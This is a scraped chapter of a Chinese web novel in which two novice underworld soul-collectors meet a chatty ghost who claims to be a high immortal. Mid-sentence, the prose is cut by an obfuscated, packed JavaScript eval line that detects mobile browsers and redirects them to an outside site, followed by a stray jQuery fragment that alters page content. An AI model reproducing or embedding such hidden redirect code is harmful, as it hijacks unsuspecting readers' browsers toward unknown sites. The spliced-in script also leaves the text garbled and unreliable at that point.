1. 无常鬼差捉小鬼1
作品:《谁家好仙跑去地府打工》 人界,大安国,临安郡风雨江畔,平安村。
青天白日,艳阳高照,临江而建的村落,难得遇见这么好的天气,正适合把发霉地被子拿出来晒一晒。
平安村却是一片寂寥,村子里的房屋紧闭,大水冲洗过,给屋舍间铺的石板路上留下了不少砂石泥土,厚实到一踩一个深脚印。
整个村子没有留下多少脚印,除了门口和村子角落里烧着艾草的地方还有数道,就剩村道上,那拖东西时才会不小心被带出来的一条沟壑。
沟壑只有一人宽,从中间走过,不仔细点,衣裙一定会沾上两边的泥浆。
沟壑中间一名老翁正缓慢挪动,他面上戴着一块灰扑扑的布巾,腿脚不便地一走一停,手上拿着一把冒大烟的草药,边挥边煽,勾着背,一边咳嗽,一边碎碎念道:“神明保佑,消灾解厄,化煞除祸,驱邪避凶…咳咳咳,神明保佑,消灾解厄,化煞除祸,驱邪避凶…”
“啛!呸呸呸…咳咳咳…”
一名白无常飘至沟壑的泥梗上,在他嫌弃老翁话中言语时,被呛了一大口草药烟子,一手煽着烟,一手拿着张冥钱黄纸遮挡日光,从老翁身旁飘过,停到对面黑无常身边。
白无常有些不甘心,转头来,又吐了一口唾沫,向老翁不屑道:“就知道求神拜佛…求神有用,你们临安郡还能死这么多人!大水都停好几日了,也没见那位仙君来管管你们,也不对,我看你们倒是也招来了神,不过是瘟神吧!呛死了…一个没剩地上赶着给我们两兄弟添麻烦!才刚上任,收的就是你们这样的病死鬼,太不吉利了…”
本来被拿来遮阳的黄纸,让他小心翼翼地放了下来。
他拍了拍。
黄纸看起来不像普通纸张般娇气,上面流光闪过,浮现出几行文字,他的视线直愣愣盯着上面。
不多时,他气愤地朝纸面一指,不客气地,对老翁宣读派遣调令,道:“风雨江发大水,一路都是死尸,你怎么不跟着一起去呢?冥钱黄纸上这数你看见了吗?你们村算上你刚好两百人,也算是凑了整!!冥界地府忙到四处招新人,你死早一些,也省得我们兄弟二人再来一趟…”
末了,他还仰天抱怨了一句,道:“这群仙君不知道是怎么想的,吃了别人供奉,却不作为…”
白无常身边的黑无常规劝道:“好了!埭骰…嘴上积点德,你忘了我们是怎么做的鬼差…多结善缘,少作恶。天上的仙君也不是你我可以置喙的,当心丢了这份差。”
埭骰道:“埭桡…我也是气不过上面为什么就不管一管,这大水淹死一批,又要病死一批…你看看田里的庄稼也被水冲没了,是不是他们还打算再饿死一批…”
白无常埭骰(daitou),黑无常埭桡(dainao),是两兄弟,二人生于富贵人家,因家财万贯,而被盗匪惦记。因心地不错,身陷囹圄,解救同时被困的“新娘”,得了一份功德。因运气不好,救了“新娘”,害了自己,二人有了机缘谋这无常一职。
善意得恩,祸中生福,二人不忘初心,做上无常之时,也励志要继续做一个好人。
哦…不对,是励志做一只好鬼。
此地此事是他们的第一份差务,本也是一份不该交予新手无常的艰巨任务。
平安村一百九十九人,死于病疫,冥界地府的其他无常,纷纷因为一只渡劫投生的小鬼,推脱不已,最后,推到他们这里,欺负他们新人不解其中缘由,便派了他们二人来负责索魂、引路。
嗤啦一声,埭桡一把抢过埭骰手中的冥钱黄纸,犹记过往,皱眉道:“不归我们管,就少操点心。”
把黄纸来回翻了两遍,他开始对着黄纸上浮现的几根线条研究,继续道,“人好像在前面的石料场,你怎么带路到村子里了。”
埭骰道:“前面没有路了…”
想起一路飘过来,到处都是浮胀的尸体,忙碌的索魂使者,哀嚎的幽魂,以及垮塌的山石,他不敢找同僚问路,也不敢找小鬼说话,只能比对着冥钱黄纸找到这唯一的一条路。
谁知,这路线只通向平安村村庄里。
他有些心虚,讲话的声音越来越小,渐渐如蚊子般没了。
“没脑子的!我们现在是鬼,找不到人走的路,就不知道穿过去吗!!”
埭桡一巴掌拍了过去,连带着黄纸一起拍在了白无常胸口,顿了顿,语气弱了两分,提醒道,“太阳越来越大了,你把自己这份黄纸拿好,免得热…”
“哦…”
埭骰看了两眼黄纸上的内容,又看了看路线前方的一堵厚山,犹豫道:“埭桡,要不你走前面?”
埭桡叹息道:“都做鬼了,胆子还这么小,不就是穿一座山石嘛…”
话音刚落,一黑一白两名无常,一前一后飘进了山体里。
穿过山坳,是一片空旷的地界。
此处山石坚硬,被开采的石料一大块一大块地堆叠在一处,长长方方,布满沟壑嶙峋的凿坑,能看出,是准备运去江岸口修建堤坝。
可是已经日上三竿了,石料场上却是没有一个人来搬运这些石料。
这次,埭骰埭桡没有费多大劲儿,便在一旁依山而搭的木棚下,找到了一群完好无损的“人”。
一百九十九号尸体,男男女女,歪七扭八地躺着,面色苍白,闭着眼,或愁容,或难受,或张嘴,或平静…或享受?
享受?
居然还有“人”在这种环境下感觉到享受…
他们安静地躺在一起,早没了呼吸。
都死于病疫。
有时候一次性死的人多,比如战争死了几百上千的士兵,黑白无常就会从当地城隍处接了冥钱黄纸,领了地狱名册,一起出动。遇见不听话乱跑的魂魄,白无常会用哭丧棒敲晕拖走,凶神恶煞的魂魄,黑无常则会用索命钩牵制着离开。
就算一起行动,勾魂这事也分白日黑夜,白日多是白无常,夜里则多是黑无常。
所以,今日之事,主要由身为白无常的埭骰来司职。
埭骰捧着地狱名册,对着第三十七具尸体,也就是那唯一一具一脸享受的女死尸,呼唤道:“肉身已死,速速起来。”
对方好像没听见一般,魂魄在肉身里保持姿势不动,软软呻吟了一下,继续闭着眼,享受着白日觉。
埭骰还是第一次遇见不听话的鬼魂,尴尬地扶了扶「一见生财」的白色高帽,声音提高道:“肉身已死,还不速速起来。”
对方依旧只是轻轻呻吟了一声,并有其他动作。
埭骰正准备再唤一声,「一见生财」旁边却多出来一顶黑色高帽,「天下太平」四字威厉肃穆,顿时,尸体上便多了一把程亮发光的索命钩。
埭骰侧头,轻呼道:“埭桡?你…你怎么过来了。”
埭桡白了一眼尸体,对身旁人责备道:“磨磨蹭蹭,这么多人,什么时候能送完!!”
实在委屈,埭骰叫了两次魂,是对方赖在肉身里不起来,不是他偷懒不作为。
他辩解道:“我叫过了…两次”
他右手的两根手指尚未比起数,埭桡无奈地摇了摇头,打断他举动,道:“活着时读书不认真,死了上官训导,又去打瞌睡了?”
作为幼弟,却是一副长兄模样,他黑脸拷问道,“赖在身体里的鬼魂,你好好想想上官是怎么说的?应该怎么办?”
埭桡又气又急又担忧,害怕埭骰一知半解误事,最终落得一个下地狱的惩罚,手中的索命钩,也不急着把女死尸身体里的魂魄拉出来,誓要等埭骰答出来才罢休。
埭骰支支吾吾,嘴张了闭,闭了张,愣是答不出来。
埭桡道:“很简单的…”
许是他这一句话声量过大,他们脚下“熟睡”的女尸,不安地动了动。
片刻,一只鬼魂,后知后觉地,因索命钩所创,吃痛地睁开了眼睛。
小鬼麻利的顺着钩子爬了起来。
她在看见埭头埭桡的黑白无常服时,一脸熟络地凑了上来,满脸无限欣喜,却又在看清两人面容后,微皱秀眉。
听见埭桡那一句“很简单的…”,她也有些焦急,按耐不住地替埭骰回答道:“笨!从肉身里打出来啊!这都答不上来?怎么做上鬼差的?老兄…瞧你们也不像是神仙命,这是花了多少钱啊?我记得这无常官职也不小,下面还有鬼差一职,你这水平,做鬼差都好难的,还不如把钱留着请我喝几壶茶酒,指不定我一高兴,还能为你指条明路…”
“伤官佩印,怎么样?”
“食神吐秀?合不合适?”
“或者八字全合?你更满意?”
“说句话呀,这些命格你看喜不喜欢?还是说老兄也觉得,那男命都喜欢的身旺而伤官生偏财,会比较比有滋味?”
女鬼暗乐:到时候喝了你的酒,我一定会好好送你们上路,投一户好人家。吃好喝好,当官做宰,左亲右近,桃花不断,一定是要什么有什么!
突然出现的女子声音,以及突然凑近她哥俩的死人脸,着实把埭骰埭桡吓了一大跳。
兄弟二人下意识后退了小半步,惹得话痨女鬼嫌弃,语不停歇,完全不给别人回话的余地,咂嘴道:“怕鬼?啧啧啧…又是胆小鬼做鬼差?冥界这眼光太差了,也可能是你们钱太对了,有这么多钱,还不如拿来找我买命,保证比你们做鬼差爽!”
埭桡反应过来,对方一小鬼,有什么好怕的,镇定道:“你是谁?”
话痨鬼指了指地上胸口还插着索命钩的女死尸,道:“我是她…看不出来吗?难道我变脸了?不应该啊,凡人身死定鬼魂貌,应该一模一样啊。难道有变数…”
话还没有说完,不顾埭骰埭桡一脸诧异的神情,她蹲回了尸体旁,就着女尸胸口上的索命钩当着镜子,端详自己的鬼容,呢喃道:“没变啊…几万年了,一直都是这个样子”
又伸手捏了捏女尸脸颊,看着和她鬼容一模一样的眉眼,嘀咕道:“和肉身也一样啊,难道…你们还是个瞎子鬼?”
“噌”的一下,话痨鬼又站了起来,对着埭骰埭桡兄弟二人,一手捧着自己的脸,一手在二人眼前晃了晃,震得对方眼珠子,直左右转悠。
见状,她收回手,问道:“一模一样,你们看不见?不对啊,你们眼睛也没问题,不当比我还不好…”
埭骰还没从被埭桡的提问中走出来,如今又被一只话痨鬼,呶呶不休地提问,瞬间变得更紧张,顺着话唠鬼的话,口吃道:“看…看得见。”
话痨鬼见答话的白无常哆哆嗦嗦,回忆起数万年前,一只身材魁梧的牛头,也经常一见到恐怖点的鬼魂就浑身发抖,触景生情,好意关心道:“你也怕鬼?”
埭骰吃惊道:“啊?”
他从未想过会被一只鬼关心,最主要是对方还问他是否怕鬼…实在稀奇。
毕竟,他做鬼也有一段时间了,而且,他和在场的鬼魂一样,大家都是正常的人模人样,并非像畜生道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547179|171191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的妖冥使,也不似鬼门关内的牛头马面,人身兽面,身材奇形怪状。
一时之间,竟让他不知道如何做答,呆愣在了原地。
那厢,埭桡先一步回过神,察觉出此鬼不对劲儿。
一脸狐疑,手中拽紧索命钩的铁链,直视面前的话唠鬼,他转移话痨鬼的注意,道:“我们兄弟二人没叫你,你怎么能自己爬起来?”
暗地里却在偷偷示意埭骰准备好哭丧棒,密语道:这鬼魂指不定有问题,准备法器。
暗中沟通好以后,还没等话唠鬼作答,埭骰埭桡便悄悄移动小步子,顷刻,把她围困在他二人之中。
埭骰手一抬,哭丧棒明晃晃地落在话痨鬼面前,他低头看了看,埭桡也瞪眼看了看,话痨鬼不想看也看了看。
只见埭骰瞬间反应,此地无银三百两地从三人中间抽走,背在了身后。
埭桡傻眼了,张着大大的嘴,像是被雷击中,忘了准备脱口而出的话。
话痨鬼也傻眼了,视线从藏匿哭丧棒的埭骰身上,移向背地里使劲儿拔索命钩的黑服无常,赧然腹诽道:
我是不是知道的太多了?
还是我太聪明了?
再或者…
天底下除了胆小鬼…还有被蠢死了的鬼?
我记得我从来没写过这么笨的人设啊!!!
如今的司命府是在干嘛!!写的都是些什么歪瓜裂枣…
越想越尴尬,越想越不受控,话唠鬼因为觉得尴尬,笑了起来,因为刚刚身死,面色还有些青白,现在一笑,更是诡异,道:“你们…算了,别待会儿又蠢死一回,我还指着你们带我入鬼门关呢。”
笑意收敛,她指了指黑服无常,正经回答起来,道:“顺着你索命钩的铁链爬出来的,而且在你来之前,这位白无常兄弟就已经叫过我了。”
话痨鬼嘴皮子十分顺溜,没等埭骰埭脑插上话,又继续道:“好了,我回答完了,该我问你们了,这片区是换人了?先前的白无常小七呢?她不干了吗?”
原来话痨鬼刚才从尸体上爬起来时,由一脸兴奋到突然失望,是以为又见旧相识,却不曾想是她看晃了眼。
埭骰埭桡初次上任,遇见的鬼屈指可数,听她问来问去,脑袋懵极了。
话痨鬼不查二人在走神,问上了头,没有细细思索,便替管理这片区的前任白无常小七鸣不平,紧锣密语地哀怨道,“喂…老兄,你们这样做鬼很没有鬼德哦,怎么能把别人挤走呢,人家一个小姑娘,就那千万年的姿色可以用用,讨这差事也很辛苦的,而且也难得是个肯为我花钱买茶酒的小姑娘…”
茶酒?
糟了!
说漏嘴了…
话痨鬼突然捂住嘴,又把手放了下来,气势和刚才判若两人,道:“我的意思是,我经历这一遭数千次,好不容易遇见一个糯糯叽叽的小姑娘,你们就把她挤走了,太不仗义了,太令人寒心了…”
由她举动,埭桡片刻回神。
脑海中回荡着话痨鬼的声音,前半部分解释他尚能明白,可后面的话却又把他听糊涂。
他们兄弟二人虽没见过多少鬼,但好歹也是见鬼过的,还是第一次见有小鬼遇见鬼差,竟如此嚣张,嚣张之中又有点自来熟,像是活着时,令人厌烦的叔伯妯娌。
半收回的警戒的动作,再次比了起来,埭桡一脸不耐烦道:“话真多!死前是个哑巴吗?!!”
似想起了方才僵在嘴中的话,对同样听得云里雾里的白无常,命令道:“埭骰,还不行动,呆站着干什么!!!”
“行动?!”
话痨鬼一顿,眼睛在那两件法器上一藐,道:“老兄,别急别急,我是好鬼,大大的好鬼…”
埭骰高举的哭丧棒,滞在半空,侧头道:“她说她是好鬼。”
见话痨鬼服软,埭桡不耐烦道:“那就索魂。”
说完,他双手死劲儿从女尸身上把索命钩拔了出来,拖着索命钩上的铁链子,“哐哐当当”地便回到了队伍前面那群被勾出来的鬼魂中,继续用铁链一根一根地缠上他们的手。
索魂…
对啊,二人本职任务,便是来为这群小鬼索魂、引魂。
埭骰经埭桡提醒,把地狱名册翻开,继续走起流程,对面前话痨鬼询问道:“名字?”
话痨鬼松了一口气,端正身子,习惯性地想揣起双手,这才发现身上还是死时的不合身窄袖麻布衣,失神哑然道:“第五茗。”
第五茗道:“你功德浅薄,不要直呼我姓名。”
埭骰道:“什么功德不功德,我是你的索魂使者,你究竟叫什么?我要核对地域名册!”
浅叹一息,第五茗补充道:“我叫第五茗,但你只能和他们一样,唤我上君。”
“呼啦啦…”,埭骰手中的地域名册,飞快翻页,在那些没有浮现名字的空白纸张上,认真找寻。
第五茗的话,他完全没有过心,捧着厚厚的册子,越翻越急,随意附和道:“上君是什么东西?你到底叫什么名字?怎么和他们不一样,名字落到哪一页去了…?”
担心对面“小鬼”看出他业务不熟稔,这一句话,他越往后说,声音越小。
对面之人,好像也仅是只正常的小鬼,双耳并不灵敏,堪堪只听见了他的第一句话…
上君是个什么东西?
第五茗脸色白中透青,额角黑线闪烁,咬牙切齿道:“老兄,你不认识我?!!!”